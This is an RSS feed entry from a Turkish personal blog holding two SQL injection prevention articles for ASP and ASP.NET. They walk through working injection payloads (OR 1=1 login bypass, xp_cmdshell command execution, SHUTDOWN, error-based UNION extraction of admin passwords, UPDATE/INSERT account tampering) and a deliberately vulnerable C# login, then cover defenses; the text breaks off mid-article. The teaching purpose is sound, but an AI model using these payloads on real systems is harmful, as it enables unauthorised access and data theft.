<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tunahan.net &#187; Korunma</title>
	<atom:link href="http://www.tunahan.net/tag/korunma/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tunahan.net</link>
	<description>Tunahan H. MADEN Personal Page</description>
	<lastBuildDate>Thu, 01 Jul 2010 23:48:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL Injection &#8211; Korunma Yollari</title>
		<link>http://www.tunahan.net/2010/01/29/sql-injection-korunma-yollari/</link>
		<comments>http://www.tunahan.net/2010/01/29/sql-injection-korunma-yollari/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 17:21:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[Korunma]]></category>
		<category><![CDATA[Şifre]]></category>
		<category><![CDATA[Yollari]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=133</guid>
		<description><![CDATA[Yazıya başlamadan önce belirtmek istediğim şey; bu makale bazı SQL injeksiyon yöntemlerinin nasıl yapıldığı konusunda öğretici bilgi içerebilir. Bu bilgileri ben sadece olası yapılabilecek hataların düzeltilmesi maksadıyla yayınlıyorum. Bu yazı kötü amaçlı olarak yazılmamıştır.
Dünyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli kalmasi gereken bilgilerin, ürünlere ve siparislere ait verilerin saklandigi uç-arka veri [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>Yazıya başlamadan önce belirtmek istediğim şey; bu makale bazı SQL injeksiyon yöntemlerinin nasıl yapıldığı konusunda öğretici bilgi içerebilir. Bu bilgileri ben sadece olası yapılabilecek hataların düzeltilmesi maksadıyla yayınlıyorum. Bu yazı kötü amaçlı olarak yazılmamıştır.</strong></em></p>
<p>Dünyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli kalmasi gereken bilgilerin, ürünlere ve siparislere ait verilerin saklandigi uç-arka veri depolariyla hizmet veren web siteleri bulunmaktadir. Ve genel olarak, web sitelerindeki form araciligi ile alinan girdi ile veritabanindaki bilgiler filtrelendikten sonra sonucu kullaniciya gönderen bu tür sistemlerde Yapisal Sorgulama Dili (Structured Query Language &#8211; SQL) kullanilmaktadir. Uygulama içerisinde kullanilacak parametre degerleri alinirken kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle güvenlik problemleri ortaya çikmaktadir.</p>
<p>Bu güvenlik problemleri kullanilarak bir uygulamanin arkasinda, bu uygulamaya destek veren veri tabani üzerindeki bütün bilgilere ulasilabilir veya bilgiler üzerinde degisiklik yapilabilir. Veya veri tabani sisteminin komutlari kullanilarak kullanilan sunucular üzerinde uygulama harici istenen islemler de yapilabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karsi kontrol eden fonksiyonlarin kullanilmali ve genis çapli uygulamalarin bu güvenlik açiklarini tasiyip tasimadigini anlamak için güvenlik denetimine tabi tutulmalidir..</p>
<p>Ilgilendiren Sektör ve Sirketler:</p>
<p>Özel olarak gelistirilmis uygulamalar kullanan tüm kurum ve kuruluslar<br />
Internet / Intranet üzerinde uygulama gelistiren kuruluslar</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>1. Bir Uygulama Güvenligi Problemi &#8211; &#8216;Yapisal Sorgulama Dili Kullanimi&#8217;</p>
<p>Yapisal Sorgulama Dili SQL&#8217;in uygulamalarda kullanimina örnek vermek gerekirse;</p>
<p>select Name, Address FROM Users WHERE UserID = &#8216;2081&#8242;</p>
<p>Seklindeki SQL Deyimi &#8216;Users&#8217; adli tablodan &#8216;2081&#8242; ürün ID si ile veritabanina kayitli olan kisiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayiflik, kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle ortaya çikmaktadir. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini saglayan fonksiyonlardir.</p>
<p>Hizla gelisen internet teknolojileri karsisinda yeni pazarda geç olmadan yerini almak isteyen müsterilerine daha kisa sürede daha kullanisli ve ucuz çözümler sunmak zorunda olan uygulama gelistiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadirlar.</p>
<p>Giderek yayginlasan ve medyanin haber potansiyelini olusturan; çalinan kredi karti numaralari, yer alti sitelerde dagitilan müsteri bilgileri, sirket projeleri &#8211; yazismalari yaklasan tehlikenin habercisi olmakla beraber halen bu tür kayiplarin yaratabilecegi maddi sonuçlari kavrayamayan ve hala &#8216;az maliyetle kurtarilan güvenlik projeleri&#8217; &#8216;yle övünen yöneticilere uyari niteligi tasimaktadir. Öyleki -herzaman bir adim önde olmayi amaçlayan- saldirganlar güvenligin en üst seviyede olmasi beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldirilarina da ara vermeksizin devam etmektedirler.</p>
<p>Maddi ve manevi degere sahip sirketinizi bir anlamda is ortaklarini olan uygulama gelistiricilerin hazirladiklari uygulama ürünlerine emanet edildigini düsünürsek, &#8216;uygulamalariniza ne kadar güvenirsiniz?&#8217; gibi bir soruya verilecek cevap büyük önem tasimaktadir.</p>
<p>Böyle bir ortamda uygun güvenlik çözümü için ayrilmis bütçe bir lüks degil her an yapilabilecek bir saldirida sirketin ugrayacagi zarari ortadan kaldirmak için alinmasi gereken önlem niteligi tasimaktadir.</p>
<p>2. Örnek Saldirilar &#8211; &#8216;Yapilacak Hamleleri Önceden Tahmin Edebilmek&#8230;&#8217;</p>
<p>Güvenlikte sikça kullanilan bir deyim; &#8216;Saldirganlardan korunabilmek için onlar gibi düsünmelisiniz!..&#8217;. Saldirganin sisteminize girmek için kullanabilecegi yöntemleri bilmek bu saldirilardan korunabilmek için alinan önlemleri daha saglikli kilacaktir.</p>
<p>Örneklerde kullanacagimiz hedef ; Microsoft® Internet Information Server™&#8217; dan Microsoft® SQL Server™&#8217;a varsayilan sistem hesabi&#8217;ndan (sa) baglanan ASP tabanli bir kullanici hesabi yöneticisi olacak.<br />
Form.asp : Username ve Password girdisini alan form.Solda&#8230;<br />
Login.asp : Veritabani ile baglantiya geçen ve girdinin dogrulugunu kontrol eden ASP kodu.</p>
<p>2.1. Kötü Amaçli (&#8217;) Imleçleri Yardimiyla Izinsiz Giris Saglama:</p>
<p>Kullanici &#8216;Username&#8217; &amp; &#8216;Password&#8217; verisini Login.asp ye yolladiktan sonra .asp kodunun yapacagi is verilen yoldaki veritabani ile baglanti kurup ilgili tabloda Username ve Password sütünlarinda gönderilen verinin dogrulugunu kontrol etmek olacaktir. Bu islem sonucunda eger sonuç olumluysa kullaniciya; &#8216;Giris Yapildi&#8217; olumsuzsa; &#8216;Geçersiz Kullaniciadi &amp; Sifre&#8217; mesaji verilecektir.<br />
Örnekleyecek olursak;</p>
<p>Username : ilkay<br />
Password : 2081</p>
<p>Seklindeki kullanici girdisi asagidaki SQL Deyimini olusturacaktir;</p>
<p>select count(*) FROM Users WHERE Username = &#8216;ilkay&#8217; AND Password = &#8216;2081&#8242;</p>
<p>Ilk bakista sorun olmayan bir SQL Deyimi&#8230; Fakat saldirganin;</p>
<p>Username : ilkay<br />
Password : &#8216; OR 1=1&#8211;</p>
<p>Seklindeki girdilerle olusturacagi SQL Deyimi ise;</p>
<p>select count(*) FROM Users WHERE Username = &#8216;ilkay&#8217; AND Password = &#8221; OR 1=1 &#8211;&#8217;</p>
<p>Olacaktir ki, bu durumda girisin saglanmasi için sart &#8216;ilkay&#8217; kullanici adina ait sifrenin hiçbirsey* olmasi veya ikinci bir opsiyon olarak 1=1 esitliginin saglanmasidir.</p>
<p>* Hiçbisey = Bosluk</p>
<p>Sonuç : 1=1 esitligi saglandigina göre saldiri basariyla sonuçlanacak ve &#8216;Giris Yapildi&#8217; mesaji verilecektir.</p>
<p>Not : Microsoft® SQL Server™ &#8216;&#8211;&#8217; imlecinden sonra gelen yersiz kullanilmis tirnak isaretlerini göz ardi edecektir. Ilk bakista basit gibi görünen ve sadece SQL Server&#8217;a ait olan bu özellik ilerde örneklerden de anlasilacagi üzere saldirgana büyük kolaylik saglayacaktir..</p>
<p>2.2. Uzaktan Çalistirilmasi Mümkün Olan Prosedürler:</p>
<p>MS SQL Server&#8217;a varsayilan sistem hesabindan yaptigimiz baglanti SQL Enjeksiyon saldirisinda muhtemel saldirgana sunucuda saklanan prosedürleri çalistirabilmesi için gerekli haklari taniyacaktir. Saldirganin kullanabilecegi prosedürlerden bir tanesi; &#8216;master..xp_cmdshell&#8217; olabilir.</p>
<p>Username : ilkay<br />
Password : &#8216;; EXEC master..xp_cmdshell &#8216;dir c:&#8217;&#8211;</p>
<p>Girdileriyle olusacak SQL Deyimi;</p>
<p>select count(*) FROM Users WHERE Username = &#8216;ilkay&#8217; AND Password = &#8221;; EXEC master..xp_cmdshell &#8216;dir c:&#8217;&#8211;&#8217;</p>
<p>Sonuç : SQL Server Kullaniciadi ve Sifreyi bulunduran sütunlari arayacaktir bulamadigi için &#8216;Yanlis Kullaniciadi &amp; Sifre&#8217; mesajini verecektir fakat bu arada arka planda &#8216;dir c:&#8217; komutunu çalistiracak ve saldirgan C sürücüsünün içerigine ulasacaktir.</p>
<p>2.3. SQL Server Hedef Alinarak Yapilan Saldirilar:</p>
<p>Yönetici haklarina sahip saldirgan silme,ekleme,degistirme&#8230;vb gibi komutlari rahatlikla çalistirabilecektir.</p>
<p>SHUTDOWN WITH NOWAIT SQL Server&#8217;in kritik komutlarindan bir tanesidir. Komutla beraber SQL Server görevine son verir.</p>
<p>Username : &#8216;; SHUTDOWN WITH NOWAIT&#8211;<br />
Password : [Bos]</p>
<p>Bu girdilerle olusturulan SQL Deyimi;</p>
<p>select Username FROM Users WHERE Username=&#8221;; SHUTDOWN WITH NOWAIT; &#8211;&#8217; AND Password=&#8221;</p>
<p>Sonuç : SQL Server kullaniciadinin bulunamadigi mesajini verecektir. Fakat bununla beraber arka planda diger komutu çalistirdigi için SQL Server kapanacaktir.</p>
<p>2.4. ODBC Hatalarindan Faydalanarak Yapilan Saldirilar:</p>
<p>SQL Server&#8217;in verdigi hatalardan faydalanarak veritabanindaki neredeyse tüm bilgilere ulasmak mümkündür.</p>
<p>Hedef; http://Victim/Default.asp?id=10 seklinde ürün ID leri ile çalisan ASP tabanli bir websitesi.</p>
<p>Saldiri SQL Server&#8217;in integer ve string cinsinden verileri birlikte gönderememesinden faydalinarak yapilabilir;</p>
<p>Gönderilen &#8216;10&#8242; sayisina veritabanindan herhangi bir string eklenir.</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES&#8211;</p>
<p>Not: &#8216;INFORMATION_SCHEMA.TABLES&#8217; sistem tablosu, sistemde bulunan diger tüm tablolar hakkinda bilgi içerir. Deyimde kullanilan &#8216;TABLE_NAME&#8217; de yine tüm tablo isimlerini içerir.</p>
<p>Olusacak SQL Deyimi;</p>
<p>select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES</p>
<p>String -&gt; Integer dönüsümünü yapamayan SQL Server asagidaki hatayi verecektir.</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;Table1&#8242; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Hata, saldirgana &#8216;Table1&#8242; olarak buldugu cevabi integer a çeviremedigini (dolayisiyla veritabanindaki ilk tablo adinin &#8216;Table1&#8242; oldugunu) belirtmektedir. Saldirgan diger tablolarin adini asagidaki sekilde ögrenebilir&#8230;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&#8217;Table1&#8242;)&#8211;</p>
<p>Veya dogrudan LIKE komutunu kullanarak aradigi seye daha kolay yoldan ulasabilir;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &#8216;%/%25Login%/%25&#8242;&#8211;</p>
<p>SQL Server&#8217;in verecegi hata;</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;Admin_Login&#8217; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Admin_Login adinda bir tablo oldugunu ögrenen saldirgan muhtemelen tablodaki ilk kullaniciadi ve sifreye ulasmak isteyecektir. Izleyebilecegi yol ise;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 Username FROM Admin_Login&#8211;</p>
<p>Hata;</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;ilkay&#8217; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Bu sekilde &#8216;admin&#8217; kullaniciadinin varligini dogrulayan saldirganin sifreyi ele geçirmek için kullanacagi girdi;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 Password FROM Admin_Login WHERE Username=&#8217;ilkay&#8217;&#8211;</p>
<p>Hata;</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;2081&#8242; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Sonuç :<br />
Username : ilkay<br />
Password : 2081</p>
<p>2.5. Veritabanina Ekleme Yapma veya Veri Düzenleme:</p>
<p>Kullaniciadi ve sifre bilgisine ulasan muhtemel saldirgan benzer yöntemleri ve UPDATE,insert komutlarini kullanarak sifreyi degistirebilir veya daha temizi baska bir kullanici hesabi açabilir&#8230;</p>
<p>http://Victim/Default.asp?id=10; UPDATE &#8216;Admin_Login&#8217; SET &#8216;Password&#8217; = &#8216;NewPwd&#8217; WHERE Username=&#8217;ilkay&#8217;&#8211;</p>
<p>Yeni bir kullanici hesabi için;</p>
<p>http://Victim/Default.asp?id=10; insert INTO &#8216;Admin_Login&#8217; (&#8217;UserID&#8217;, &#8216;Username&#8217;, &#8216;Password&#8217;, &#8216;Details&#8217;) VALUES (666,&#8217;Desperate_Cry&#8217;,'2081&#8242;,&#8217;N /A&#8217;)&#8211;</p>
<p>3. Nasil Korunmali? &#8211; &#8216;Aksi Dogrulanincaya Kadar Tüm Kullanici Girdileri Kötüdür&#8230;&#8217;</p>
<p>Gelebilecek SQL Enjeksiyon saldirilarindan korunabilmek için alinan önlemlerde temel alinmasi geren nokta&#8230; &#8216;Aksi dogrulanincaya kadar tüm kullanici girdileri kötüdür!&#8217;.</p>
<p>3.1. Kullanici Haklarinin Sinirlandirilmasi</p>
<p>Yaygin olarak yapilan hata; Web Server dan SQL Server a yapilan baglantilarda varsayilan sistem hesabi kullanilmasi&#8230; Bu sekilde yönetici haklarina sahip olan saldirgan örneklerde de görülebilecegi üzere istegi komutu çalistirip istedigi ekleme,silme,düzeltme eylemini gerçeklestirebilecektir. Bunu yerine yapilmasi gereken yeni bir kullanici hesabi olusturup kullanicinin çalistirabilecegi komutlari sinirlandirmak olacaktir.</p>
<p>Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasindan siparis verilmesine izin verecekseniz, &#8216;web_user&#8217; gibi bir kullanici adi olusturup ürünleri incelemek için; ürünler sütununda sadece &#8217;select&#8217; kullanimina ve siparisleri için; siparisler sütununda sadece &#8216;insert&#8217; kullanimina izin vermeniz uygun olacaktir.</p>
<p>3.2. Girdilerde Tirnak Imleçlerinin (&#8217;) Kötü Amaçli Kullaniminin Engellenmesi</p>
<p>Yaygin SQL Enjeksiyon saldirilari SQL deyimlerinin girdilerdeki gereksiz (&#8217;) tirnak isaretleri yardimiyla yeniden olusturulmasi sayesinde yapilir.</p>
<p>Küçük bir filtreleme fonksiyonu veya tek tirnagi çift tirnaga çeviren bir fonksiyon muhtemel bir saldiriyi engellmek için yeterli olabilir.</p>
<p>ASP Kullanarak girdileri kontrol ederek degistiren bir fonksiyon kolaylikla yazilabilir;</p>
<p>Bu fonksiyonu bastaki örnekte kullanirsak;</p>
<p>select count(*) FROM Users WHERE Username=&#8217;ilkay&#8217; AND Password=&#8221; OR 1=1 &#8211;&#8217;</p>
<p>seklinde olan deyim&#8230;</p>
<p>select count(*) FROM Users WHERE Username=&#8217;ilkay&#8217; AND Password=&#8221; OR 1=1 &#8211;&#8217;</p>
<p>&#8216;e dönüsecektir.</p>
<p>3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi</p>
<p>SQL Enjeksiyon saldirilari genelde &#8216;;, &#8211;,select, insert ve xp_&#8217; gibi karakterlerin-kelimelerin kullanilmasiyla yapildigi için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayifligi engelleyebilir.Örnegin kullanicidan E &#8211; Mail adresini girmesi isteniyorsa harfler ve sayilarin yaninda sadece &#8216; @,-,_,.&#8217; karakterlerinin kullanilmasina izin verilmelidir.</p>
<p>Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanli DLL ler, kullanici tarafli fonksiyonlar&#8230;vb, izole edilmis bir sunucuya tasinmalidir. Bazi zararli kelime-harfleri filteleyen ASP fonksiyonu asagida örneklenmistir;</p>
<p>Tirnak degistirme fonksiyonu ve filtreleme fonksiyonu beraber kullanilirsa;</p>
<p>select Username FROM Users WHERE Usename=&#8221;; EXEC master..xp_cmdshell &#8216;dir c&#8217;; &#8211;&#8217; AND Password=&#8221;</p>
<p>Seklindeki SQL Deyimi&#8230;</p>
<p>select Username FROM Users WHERE Usename=&#8221; EXEC master.. cmdshell &#8216;dir c:&#8217; &#8216; AND Password=&#8221;</p>
<p>e dönüsecektir ki bu da herhangi bir kayit bulumadigi hatasini vermekten öteye gitmeyecektir.</p>
<p>Bu fonksiyonu kullanicidan gelen bütün girdilere, adres satiri ifadelerine ve çerezlerden gelen tüm veriye uygulamamiz gelebilecek saldirinin önüne geçecektir.</p>
<p>3.4. Girdi Uzunlugunun Sinirlandirilmasi</p>
<p>Veritabanindaki ayrilan alanin uzunlugu 10 karakterlikse, formunuzda bu alan için 50 karakter sigan bir text kutusuna sahip olmaniz sakincali olabilir. Ve mümkün oldugu kadar girdi uzunluklarini kisa tutmak muhtemel saldiriyi engellemek için önlem sayilabilir.</p>
<p>3.5. Girdi Cinsinin Kontrol Edilmesi</p>
<p>Formunuzdan girilen verinin istediginiz türden bir veri olup olmadigini kontrol eden bir fonksiyon kötü amaçli kullanimlarda saldirganin kullanabilecegi harf/sayi seçenegini kisitlayacaktir. Mesela, eger Ürün ID si için formunuzdan girdi aliyorsaniz girdinin sayisal bir ifade olup olmadigini kontrol eden bir fonksiyon fayda saglayacaktir.</p>
<p>3.6. Girdi Cinsinin Kontrol Edilmesi</p>
<p>Formunuz araciligi ile topladiginiz verileri yollarken mutlaka &#8216;POST&#8217; metodunu kullanin ki kullanicilariniz adres çubugunda girdikleri verilerle beraber form degerlerini gördüklerinde akillarina farkli fikirler gelmesin.</p>
<p>4. Son Söz &#8211; &#8216;Herzaman bir adim önde!&#8217;</p>
<p>Aldiginiz güvenlik önlemleri veya (en iyi ihtimalle) yazip da kullanmayi bir aliskanlik haline getiremediginiz güvenlik politikalari sizi güvenlik problemlerine karsi koruyabilir mi? Eger güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almiyorsaniz hiçbir güvenlik ürünü, bir güvenlik kaybina ugramanizi engelleyemez.</p>
<p>Bilgi sistemleri altyapinizi tasidiklari güvenlik zaaflarina karsi düzenli olarak kontrol ettirmek, risklerinizi takip etmek, dogru teknolojiyi dogru yerde ve dogru sekilde kullanmanizi saglayacak güvenlik politikalarinizi olusturup güvenlik probleminizi sürekli yönetebilecek olgunluga ulasmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kismini olusturan uygulamalarin tasiyabilecegi güvenlik sorunlari uzun süredir ihmal edilmelerinden dolayi, günümüzün en popüler sistem sizma noktalarini teskil etmektedirler. Bu nedenle uygulama güvenligine iliskin gereken önemi vermeniz, güvenlik denetimi yaptirmaniz ve kurumunuzun bilgi güvenligi yönetim sistemini olusturmaya bir yerinden baslamanizi öneriyorum&#8230;</p>
<table border="0" cellpadding="0">
<tbody>
<tr>
<td><strong><strong>SQL Injection Ataklarından Nasıl Korunuruz?</strong></strong></p>
<p>Bu makalemizin konusu başlıktan da anlaşılacağı gibi, web uygulamalarımıza yapılan saldırılara karşı nasıl önlem almamız gerektiği. Aslında web uygulamamıza yapılabilecek bir çok saldırı metotları vardır. Bu makalede, bu saldırı çeşidinden biri olan Sql Injection (Sql Aşılama) ataklarına karşı savunma taktiklerini anlatacağım. Peki sql injection atakları nasıl yapılır?? Sql Injection atakları, web uygulamalarımızda yer alan veri girişleri için kullandığımız TextBox form elemanlarının içine yazılan bazı sql komut deyimlerinin yazılması ile olur.</p>
<p>Web uygulamalarımızın en zayıf bölümü kullanıcı girişlerinin yapıldığı ve sonucunda yetkilendirme yapıldığı bölümlerdir. Yani login sayfalarıdır. Web uygulamaları ile ilgilenen herkes mutlaka bir login sayfası yapmıştır. Temel olarak iki tane TextBox ve bir tane Button yer alır. Kullanıcı TextBox&#8217;lara gerekli verileri girdikten sonra Button&#8217;a tıklar ve Button&#8217;un OnClick olayı devreye girer. OnClick olayında ise veritabanına bağlantı gerçekleştirilir, gerekli sorgu komutu yazılır ve eğer TextBox&#8217;lara girilen veriler ile veritabanındaki tabloda yer alan herhangi bir kayıt eşleştiyse (veya en az bir kayıt döndürüyorsa) bu kullanıcı için web uygulamasına giriş başarılı olmuştur. Yani kullanıcının Authenticate işlemi gerçekleştirilmiştir. Aslında her şey düzgün çalıştığını zannederken kötü niyetli kişiler tarafından web uygulamalarınızın tehdit altında olduğunu farketmezsiniz. Bende web uygulamaları ile çalışmaya yeni başlarken eğer kod düzgün çalışıyorsa her şey bitmiş gibi düşünürdüm. Güvenlik kısmını herzaman arka plana atmıştım. Bazen makelelerimizde esas konuya yoğunlaşmak için bazı güvenlik ilkelerini ihlal ederiz. Fakat siz uygulamalarınızda güvenlikten asla ödün vermeyin.</p>
<p>Sizlere bu makalede kötü yazılmış bir kod ve iyi yazılmış bir kodun karşılaştırmasını yapacağım. Fakat en önce Sql Injection ataklarına karşı koymanız için gereken 5 temel savunma prensibini bilmeniz gerekir:</td>
</tr>
</tbody>
</table>
<table border="1" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="47%"><strong><strong>Prensipler</strong></strong></td>
<td width="53%"><strong><strong>Neler Yapmalısınız?</strong></strong></td>
</tr>
<tr>
<td>Kullanıcı girdilerine asla güvenmeyin.</td>
<td>Tüm TextBox girişlerinin değerlerini Validator Kontrolleri, Regular Expressions veya kod ile kontrol edin.</td>
</tr>
<tr>
<td>Veritabanına asla admin düzeyinde bağlanmayın.</td>
<td>Veritabanına gerekli düzeyde kısıtlı erişim ile bağlanın.</td>
</tr>
<tr>
<td>Asla dinamik Sql sorguları kullanmayın.</td>
<td>Parametre göndererek veya Stored Procedure Kullanın.</td>
</tr>
<tr>
<td>Veritabanına verilerinizi asla açık şekilde yazmayın.</td>
<td>Verilerinizi şifreleme algoritması kullanarak veritabanına kaydedin.</td>
</tr>
<tr>
<td>Web uygulamalarınızda meydana gelebilecek istisnalarla(Exceptions) veya hatalarla ilgili bilgileri en düşük düzeyde kullanıcıya aktarın.</td>
<td>Web uygulamalarınızda meydana gelebilecek olası her hataya karşı özel bir hata sayfası hazırlayın.</td>
</tr>
</tbody>
</table>
<p>Şimdi sıra geldi web uygulamalarınızı nasıl yazmanız ve yazmamanız gerektiğine.<br />
login.aspx sayfamızda yer alan Button&#8217;un OnClick olayına şu şekilde kod yazılmış olduğunu farzedelim.</p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr height="326">
<td height="326" valign="top" bgcolor="#cccccc">private void Button1_Click(object sender, System.EventArgs e)<br />
{<br />
string strCnx = ConfigurationSettings.AppSettings["BadconnStr"];<br />
SqlConnection conn = new SqlConnection(strCnx);</p>
<p>conn.Open();<br />
SqlCommand cmd = new SqlCommand();<br />
cmd.Connection = conn;<br />
cmd.CommandText = &#8220;Select * From users Where username = &#8216;&#8221;+ txtusername.Text +&#8221;&#8216; AND password = &#8216;&#8221;+ txtpassword.Text +&#8221;&#8216; &#8220;;</p>
<p>SqlDataReader dr;<br />
dr = cmd.ExecuteReader();<br />
if(dr.Read())<br />
{<br />
FormsAuthentication.RedirectFromLoginPage(txtusername.Text,false);<br />
}<br />
else<br />
{<br />
ErrLabel.Text = &#8220;Başarısız İşlem&#8221;;<br />
}</td>
</tr>
</tbody>
</table>
<p>Eğer kullanıcı kendi kullanıcı adı ve şifresini girerse her şey normal şekilde sürer. Fakat eğer iyi yazılmamış bir login sayfasında aşağıdaki gibi bir ifade girilirse ne olur görelim.</p>
<p><strong><strong>&#8216;or 1=1&#8211;</strong></strong></p>
<p>şeklinde bir Sql ifadesi kullanıcı adının girileceği TextBox&#8217;a girilir ve şifre kısmına da rastgele bir değer girilirse, veritabanımızdaki tabloda böyle bir kullanıcı olmasa bile yetkilendirme işlemi başarılı olacaktır. Çünkü &#8216;or 1=1&#8211; ifadesinin TextBox&#8217;a girilmesi sonucu sorgu ifadesi şu şekle dönüşmüş olur.</p>
<p><strong><strong>Select * From users Where username = &#8216; &#8216;or 1=1&#8211;&#8217; AND password = &#8216;&#8221;+ txtpassword.Text +&#8221;&#8216; </strong></strong></p>
<p>Kullanıcı adını yazdığımız TextBox nesnesine girilen &#8216;or 1=1&#8211; ifadesinde yer alan &#8212; işaretlerinin anlamı; &#8212; işaretlerinden gelen sonraki ifadeleri yoksay olacaktır. Yani sonuç olarak ifademiz;</p>
<p><strong><strong>Select * From users Where username = &#8216; &#8216;or 1=1&#8211;</strong></strong></p>
<p>şekline dönüşecektir.Bu ifadede yer alan or 1=1 ifadesi sürekli doğru sonucu vereceğinden sonuç olarak sorgu işlemi bir kayıt döndürecektir. Bizim if döngümüzde yer alan dr.Read() ifadesi de true değerini alacağından if deyimi çalıştırılacak ve kullanıcı Authenticate işlemini başarı ile geçecektir.</p>
<p>Peki bu Sql Injection saldırısının çalışmasını sağlayan hatalar neydi? Kodumuzu satır satır inceleyelim.</p>
<p><strong><strong>string</strong></strong><strong><strong> strCnx = ConfigurationSettings.AppSettings["BadconnStr"]; </strong></strong><strong><br />
<strong><strong>SqlConnection conn = new SqlConnection(strCnx);</strong></strong></strong></p>
<p>bu ifadede BadconnStr değerini Web.config sayfamızdan almaktayız. Web.config sayfamızda yer alan ConnectionString ifademiz şu şekildedir.</p>
<p>Bu ConnectionString ifadesindeki hata veritabanına sa olarak bağlanmamızdır. Hiçbir zaman veritabanına sa kullanıcısı olarak bağlanmayın. Çünkü sa veritabanı üzerinde çok yüksek haklara sahiptir. Oysa bize gerekli olan sadece <strong><strong>SELECT</strong></strong> sorgusu.</p>
<p>Diğer bir hata ise sorgu işleminin dinamik olarak yapılması. Eğer bu şekilde dinamik olarak SQL sorguları yaratılırsa yukarıda girilen &#8216;or 1=1&#8211; ifadesinin girilmesi ile çok büyük güvenlik açıklarına neden olursunuz. Peki ne yapacağız. Yukarıda bahsettiğim prensiplere göre parametre olarak veri göndermeli veya Stored Procedure kullanmalıyız.</p>
<p>Aslında yukarıda TextBox&#8217;lara girilen değerleri de kontrol etmemiz gerekir. Yine aynı şekilde TextBox&#8217;ın MaxLength özelliğinin mutlaka kısıtlanması gerekir. Yani TextBox&#8217;lara sınırsız karakter girilmesini önlemeliyiz. TextBox&#8217;lara girilebilecek özel karakterleri de kontrol etmeliyiz. Yani &#8216; &#8221; &#8211; + # % &amp; gibi bir çok karakterlerin girilmemesini sağlamalıyız.</p>
<p>Sadece &#8216;or 1=1&#8211; ifadesinden farklı Sql Injection saldırıları da olabilir. Örneğin yine kullanıcı adını girdiğimiz TextBox nesnesinin içine,<br />
<strong><br />
</strong><strong><strong>&#8216;; UPDATE users SET password = &#8216;deneme&#8217; WHERE username = &#8216;mehmet&#8217; &#8212; </strong></strong></p>
<p>ifadesi de girilebilir. Peki bu Sql Injection ne gibi zararlara neden olur?</p>
